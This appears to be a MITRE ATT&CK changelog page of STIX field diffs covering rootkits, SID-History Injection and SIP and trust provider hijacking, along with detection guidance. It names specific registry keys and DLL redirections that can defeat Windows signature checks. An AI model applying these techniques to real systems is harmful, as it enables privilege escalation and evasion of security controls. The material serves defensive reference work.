| external_references[1]['source_name'] | capec | CrowdStrike Linux Rootkit |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/552.html | https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ |
| external_references[2]['source_name'] | Symantec Windows Rootkits | BlackHat Mac OSX Rootkit |
| external_references[2]['description'] | Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017. | Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017. |
| external_references[2]['url'] | https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf | http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf |
| external_references[3]['source_name'] | Wikipedia Rootkit | Symantec Windows Rootkits |
| external_references[3]['description'] | Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016. | Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017. |
| external_references[3]['url'] | https://en.wikipedia.org/wiki/Rootkit | https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf |
| external_references[4]['source_name'] | CrowdStrike Linux Rootkit | Wikipedia Rootkit |
| external_references[4]['description'] | Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. | Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016. |
| external_references[4]['url'] | https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ | https://en.wikipedia.org/wiki/Rootkit |
| external_references[5]['source_name'] | BlackHat Mac OSX Rootkit | capec |
| external_references[5]['url'] | http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf | https://capec.mitre.org/data/definitions/552.html |
| x_mitre_data_sources[0] | BIOS | Drive: Drive Modification |
| x_mitre_data_sources[1] | MBR | File: File Modification |
| x_mitre_data_sources[2] | System calls | Firmware: Firmware Modification |
| x_mitre_defense_bypassed[0] | File monitoring | Anti-virus |
| x_mitre_defense_bypassed[1] | Host intrusion prevention systems | File Monitoring |
| x_mitre_defense_bypassed[2] | Application control | Host Intrusion Prevention Systems |
| x_mitre_defense_bypassed[3] | Signature-based detection | Application Control |
| x_mitre_defense_bypassed[4] | System access controls | Signature-based Detection |
| x_mitre_defense_bypassed[5] | Application control by file name or path | System Access Controls |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_defense_bypassed | Anti-virus |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use SID-History Injection to escalate privil | t | 1 | Adversaries may use SID-History Injection to escalate privil |
| > | eges and bypass access controls. The Windows security identi | > | eges and bypass access controls. The Windows security identi | ||
| > | fier (SID) is a unique value that identifies a user or group | > | fier (SID) is a unique value that identifies a user or group | ||
| > | account. SIDs are used by Windows security in both security | > | account. SIDs are used by Windows security in both security | ||
| > | descriptors and access tokens. (Citation: Microsoft SID) An | > | descriptors and access tokens. (Citation: Microsoft SID) An | ||
| > | account can hold additional SIDs in the SID-History Active | > | account can hold additional SIDs in the SID-History Active | ||
| > | Directory attribute (Citation: Microsoft SID-History Attribu | > | Directory attribute (Citation: Microsoft SID-History Attribu | ||
| > | te), allowing inter-operable account migration between domai | > | te), allowing inter-operable account migration between domai | ||
| > | ns (e.g., all values in SID-History are included in access t | > | ns (e.g., all values in SID-History are included in access t | ||
| > | okens). With Domain Administrator (or equivalent) rights, h | > | okens). With Domain Administrator (or equivalent) rights, h | ||
| > | arvested or well-known SID values (Citation: Microsoft Well | > | arvested or well-known SID values (Citation: Microsoft Well | ||
| > | Known SIDs Jun 2017) may be inserted into SID-History to ena | > | Known SIDs Jun 2017) may be inserted into SID-History to ena | ||
| > | ble impersonation of arbitrary users/groups such as Enterpri | > | ble impersonation of arbitrary users/groups such as Enterpri | ||
| > | se Administrators. This manipulation may result in elevated | > | se Administrators. This manipulation may result in elevated | ||
| > | access to local resources and/or access to otherwise inacces | > | access to local resources and/or access to otherwise inacces | ||
| > | sible domains via lateral movement techniques such as [Remot | > | sible domains via lateral movement techniques such as [Remot | ||
| > | e Services](https://attack.mitre.org/techniques/T1021), [Win | > | e Services](https://attack.mitre.org/techniques/T1021), [SMB | ||
| > | dows Admin Shares](https://attack.mitre.org/techniques/T1077 | > | /Windows Admin Shares](https://attack.mitre.org/techniques/T | ||
| > | ), or [Windows Remote Management](https://attack.mitre.org/t | > | 1021/002), or [Windows Remote Management](https://attack.mit | ||
| > | echniques/T1028). | > | re.org/techniques/T1021/006). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 21:49:31.964000+00:00 | 2021-02-09 15:49:58.414000+00:00 |
| description | Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028). | Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens). With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006). |
| x_mitre_data_sources[0] | Windows event logs | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[1] | Authentication logs | User Account: User Account Metadata |
| x_mitre_data_sources[2] | API monitoring | Process: OS API Execution |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may tamper with SIP and trust provider component | t | 1 | Adversaries may tamper with SIP and trust provider component |
| > | s to mislead the operating system and application control to | > | s to mislead the operating system and application control to | ||
| > | ols when conducting signature validation checks. In user mod | > | ols when conducting signature validation checks. In user mod | ||
| > | e, Windows Authenticode (Citation: Microsoft Authenticode) d | > | e, Windows Authenticode (Citation: Microsoft Authenticode) d | ||
| > | igital signatures are used to verify a file's origin and int | > | igital signatures are used to verify a file's origin and int | ||
| > | egrity, variables that may be used to establish trust in sig | > | egrity, variables that may be used to establish trust in sig | ||
| > | ned code (ex: a driver with a valid Microsoft signature may | > | ned code (ex: a driver with a valid Microsoft signature may | ||
| > | be handled as safe). The signature validation process is han | > | be handled as safe). The signature validation process is han | ||
| > | dled via the WinVerifyTrust application programming interfac | > | dled via the WinVerifyTrust application programming interfac | ||
| > | e (API) function, (Citation: Microsoft WinVerifyTrust) whic | > | e (API) function, (Citation: Microsoft WinVerifyTrust) whic | ||
| > | h accepts an inquiry and coordinates with the appropriate tr | > | h accepts an inquiry and coordinates with the appropriate tr | ||
| > | ust provider, which is responsible for validating parameters | > | ust provider, which is responsible for validating parameters | ||
| > | of a signature. (Citation: SpectorOps Subverting Trust Sept | > | of a signature. (Citation: SpectorOps Subverting Trust Sept | ||
| > | 2017) Because of the varying executable file types and cor | > | 2017) Because of the varying executable file types and cor | ||
| > | responding signature formats, Microsoft created software com | > | responding signature formats, Microsoft created software com | ||
| > | ponents called Subject Interface Packages (SIPs) (Citation: | > | ponents called Subject Interface Packages (SIPs) (Citation: | ||
| > | EduardosBlog SIPs July 2008) to provide a layer of abstracti | > | EduardosBlog SIPs July 2008) to provide a layer of abstracti | ||
| > | on between API functions and files. SIPs are responsible for | > | on between API functions and files. SIPs are responsible for | ||
| > | enabling API functions to create, retrieve, calculate, and | > | enabling API functions to create, retrieve, calculate, and | ||
| > | verify signatures. Unique SIPs exist for most file formats ( | > | verify signatures. Unique SIPs exist for most file formats ( | ||
| > | Executable, PowerShell, Installer, etc., with catalog signin | > | Executable, PowerShell, Installer, etc., with catalog signin | ||
| > | g providing a catch-all (Citation: Microsoft Catalog Files | > | g providing a catch-all (Citation: Microsoft Catalog Files | ||
| > | and Signatures April 2017)) and are identified by globally u | > | and Signatures April 2017)) and are identified by globally u | ||
| > | nique identifiers (GUIDs). (Citation: SpectorOps Subverting | > | nique identifiers (GUIDs). (Citation: SpectorOps Subverting | ||
| > | Trust Sept 2017) Similar to [Code Signing](https://attack.m | > | Trust Sept 2017) Similar to [Code Signing](https://attack.m | ||
| > | itre.org/techniques/T1116), adversaries may abuse this archi | > | itre.org/techniques/T1553/002), adversaries may abuse this a | ||
| > | tecture to subvert trust controls and bypass security polici | > | rchitecture to subvert trust controls and bypass security po | ||
| > | es that allow only legitimately signed code to execute on a | > | licies that allow only legitimately signed code to execute o | ||
| > | system. Adversaries may hijack SIP and trust provider compon | > | n a system. Adversaries may hijack SIP and trust provider co | ||
| > | ents to mislead operating system and application control too | > | mponents to mislead operating system and application control | ||
| > | ls to classify malicious (or any) code as signed by: (Citati | > | tools to classify malicious (or any) code as signed by: (Ci | ||
| > | on: SpectorOps Subverting Trust Sept 2017) * Modifying the | > | tation: SpectorOps Subverting Trust Sept 2017) * Modifying | ||
| > | <code>Dll</code> and <code>FuncName</code> Registry values i | > | the <code>Dll</code> and <code>FuncName</code> Registry valu | ||
| > | n <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\O | > | es in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptograp | ||
| > | ID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID}</co | > | hy\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} | ||
| > | de> that point to the dynamic link library (DLL) providing a | > | </code> that point to the dynamic link library (DLL) providi | ||
| > | SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves | > | ng a SIP’s CryptSIPDllGetSignedDataMsg function, which retri | ||
| > | an encoded digital certificate from a signed file. By point | > | eves an encoded digital certificate from a signed file. By p | ||
| > | ing to a maliciously-crafted DLL with an exported function t | > | ointing to a maliciously-crafted DLL with an exported functi | ||
| > | hat always returns a known good signature value (ex: a Micro | > | on that always returns a known good signature value (ex: a M | ||
| > | soft signature for Portable Executables) rather than the fil | > | icrosoft signature for Portable Executables) rather than the | ||
| > | e’s real signature, an adversary can apply an acceptable sig | > | file’s real signature, an adversary can apply an acceptable | ||
| > | nature value to all files using that SIP (Citation: GitHub S | > | signature value to all files using that SIP (Citation: GitH | ||
| > | IP POC Sept 2017) (although a hash mismatch will likely occu | > | ub SIP POC Sept 2017) (although a hash mismatch will likely | ||
| > | r, invalidating the signature, since the hash returned by th | > | occur, invalidating the signature, since the hash returned b | ||
| > | e function will not match the value computed from the file). | > | y the function will not match the value computed from the fi | ||
| > | * Modifying the <code>Dll</code> and <code>FuncName</code> | > | le). * Modifying the <code>Dll</code> and <code>FuncName</co | ||
| > | Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microso | > | de> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Mic | ||
| > | ft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirect | > | rosoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndi | ||
| > | Data\{SIP_GUID}</code> that point to the DLL providing a SIP | > | rectData\{SIP_GUID}</code> that point to the DLL providing a | ||
| > | ’s CryptSIPDllVerifyIndirectData function, which validates a | > | SIP’s CryptSIPDllVerifyIndirectData function, which validat | ||
| > | file’s computed hash against the signed hash value. By poin | > | es a file’s computed hash against the signed hash value. By | ||
| > | ting to a maliciously-crafted DLL with an exported function | > | pointing to a maliciously-crafted DLL with an exported funct | ||
| > | that always returns TRUE (indicating that the validation was | > | ion that always returns TRUE (indicating that the validation | ||
| > | successful), an adversary can successfully validate any fil | > | was successful), an adversary can successfully validate any | ||
| > | e (with a legitimate signature) using that SIP (Citation: Gi | > | file (with a legitimate signature) using that SIP (Citation | ||
| > | tHub SIP POC Sept 2017) (with or without hijacking the previ | > | : GitHub SIP POC Sept 2017) (with or without hijacking the p | ||
| > | ously mentioned CryptSIPDllGetSignedDataMsg function). This | > | reviously mentioned CryptSIPDllGetSignedDataMsg function). T | ||
| > | Registry value could also be redirected to a suitable export | > | his Registry value could also be redirected to a suitable ex | ||
| > | ed function from an already present DLL, avoiding the requir | > | ported function from an already present DLL, avoiding the re | ||
| > | ement to drop and execute a new file on disk. * Modifying th | > | quirement to drop and execute a new file on disk. * Modifyin | ||
| > | e <code>DLL</code> and <code>Function</code> Registry values | > | g the <code>DLL</code> and <code>Function</code> Registry va | ||
| > | in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography | > | lues in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptogr | ||
| > | \Providers\Trust\FinalPolicy\{trust provider GUID}</code> th | > | aphy\Providers\Trust\FinalPolicy\{trust provider GUID}</code | ||
| > | at point to the DLL providing a trust provider’s FinalPolicy | > | > that point to the DLL providing a trust provider’s FinalPo | ||
| > | function, which is where the decoded and parsed signature i | > | licy function, which is where the decoded and parsed signatu | ||
| > | s checked and the majority of trust decisions are made. Simi | > | re is checked and the majority of trust decisions are made. | ||
| > | lar to hijacking SIP’s CryptSIPDllVerifyIndirectData functio | > | Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData fun | ||
| > | n, this value can be redirected to a suitable exported funct | > | ction, this value can be redirected to a suitable exported f | ||
| > | ion from an already present DLL or a maliciously-crafted DLL | > | unction from an already present DLL or a maliciously-crafted | ||
| > | (though the implementation of a trust provider is complex). | > | DLL (though the implementation of a trust provider is compl | ||
| > | * **Note:** The above hijacks are also possible without mod | > | ex). * **Note:** The above hijacks are also possible without | ||
| > | ifying the Registry via [DLL Search Order Hijacking](https:/ | > | modifying the Registry via [DLL Search Order Hijacking](htt | ||
| > | /attack.mitre.org/techniques/T1038). Hijacking SIP or trust | > | ps://attack.mitre.org/techniques/T1574/001). Hijacking SIP | ||
| > | provider components can also enable persistent code executi | > | or trust provider components can also enable persistent code | ||
| > | on, since these malicious components may be invoked by any a | > | execution, since these malicious components may be invoked | ||
| > | pplication that performs code signing or signature validatio | > | by any application that performs code signing or signature v | ||
| > | n. (Citation: SpectorOps Subverting Trust Sept 2017) | > | alidation. (Citation: SpectorOps Subverting Trust Sept 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['SYSTEM', 'Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:42:26.022000+00:00 | 2022-05-05 04:58:58.214000+00:00 |
| description | Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)
Similar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
* Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017) | Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)
Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
* Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017) |
| external_references[1]['source_name'] | Microsoft Authenticode | Entrust Enable CAPI2 Aug 2017 |
| external_references[1]['description'] | Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018. | Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018. |
| external_references[1]['url'] | https://msdn.microsoft.com/library/ms537359.aspx | http://www.entrust.net/knowledge-base/technote.cfm?tn=8165 |
| external_references[2]['source_name'] | Microsoft WinVerifyTrust | GitHub SIP POC Sept 2017 |
| external_references[2]['description'] | Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018. | Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018. |
| external_references[2]['url'] | https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx | https://github.com/mattifestation/PoCSubjectInterfacePackage |
| external_references[4]['source_name'] | EduardosBlog SIPs July 2008 | Microsoft Catalog Files and Signatures April 2017 |
| external_references[4]['description'] | Navarro, E. (2008, July 11). SIP’s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018. | Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018. |
| external_references[4]['url'] | https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/ | https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files |
| external_references[5]['source_name'] | Microsoft Catalog Files and Signatures April 2017 | Microsoft Audit Registry July 2012 |
| external_references[5]['description'] | Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018. | Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018. |
| external_references[5]['url'] | https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files | https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10) |
| external_references[6]['source_name'] | GitHub SIP POC Sept 2017 | Microsoft Registry Auditing Aug 2016 |
| external_references[6]['description'] | Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018. | Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018. |
| external_references[6]['url'] | https://github.com/mattifestation/PoCSubjectInterfacePackage | https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11) |
| external_references[7]['source_name'] | Entrust Enable CAPI2 Aug 2017 | Microsoft Authenticode |
| external_references[7]['description'] | Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018. | Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018. |
| external_references[7]['url'] | http://www.entrust.net/knowledge-base/technote.cfm?tn=8165 | https://msdn.microsoft.com/library/ms537359.aspx |
| external_references[8]['source_name'] | Microsoft Registry Auditing Aug 2016 | Microsoft WinVerifyTrust |
| external_references[8]['description'] | Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018. | Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018. |
| external_references[8]['url'] | https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11) | https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx |
| external_references[9]['source_name'] | Microsoft Audit Registry July 2012 | EduardosBlog SIPs July 2008 |
| external_references[9]['description'] | Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018. | Navarro, E. (2008, July 11). SIP’s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018. |
| external_references[9]['url'] | https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10) | https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/ |
| x_mitre_data_sources[0] | Windows Registry | Module: Module Load |
| x_mitre_data_sources[1] | API monitoring | File: File Modification |
| x_mitre_data_sources[2] | Application logs | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) * HKLM\SOFTWARE\Microsoft\Cryptography\OID * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017) Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017) | Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) * HKLM\SOFTWARE\Microsoft\Cryptography\OID * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017) Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure “Hide Microsoft Entries” and “Hide Windows Entries” are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_defense_bypassed | Application Control |
| STIX Field | Old value | New Value |
|---|---|---|
